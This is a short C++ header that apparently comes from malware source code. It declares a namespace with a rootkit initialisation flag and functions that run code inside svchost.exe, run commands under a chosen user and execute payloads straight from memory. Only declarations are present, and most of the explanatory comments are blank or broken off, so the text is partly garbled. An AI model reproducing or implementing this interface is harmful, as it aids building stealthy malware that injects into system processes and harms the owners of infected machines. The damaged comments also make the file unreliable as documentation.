#pragma once

#include "core\core.h"
#include "core\pipe.h"

//      

namespace Sandbox
{

//      rootkit, 
//      
const uint INIT_ROOTKIT = 0x0000001;

//   svchost.exe,   func    data
// nameUser    Process::Exec()
// exe = true,   data  exe     
bool Run( typeFuncThread func, const char* nameUser, const void* data, int c_data, bool exe );
//       ( 1-   func  Run()),
//    ,      
//   .   size,       
void* Init( int* size = 0 );

//    
bool Exec( StringBuilder& cmd, uint flags = 0, const char* nameUser = 0 );
bool Exec( const char* cmd, uint flags = 0, const char* nameUser = 0 );

//   
bool RunMem( const void* data, int size, const char* nameUser = 0 );
inline bool RunMem( const Mem::Data& data, const char* nameUser = 0 )
{
	return RunMem( data.Ptr(), data.Len(), nameUser );
}

}
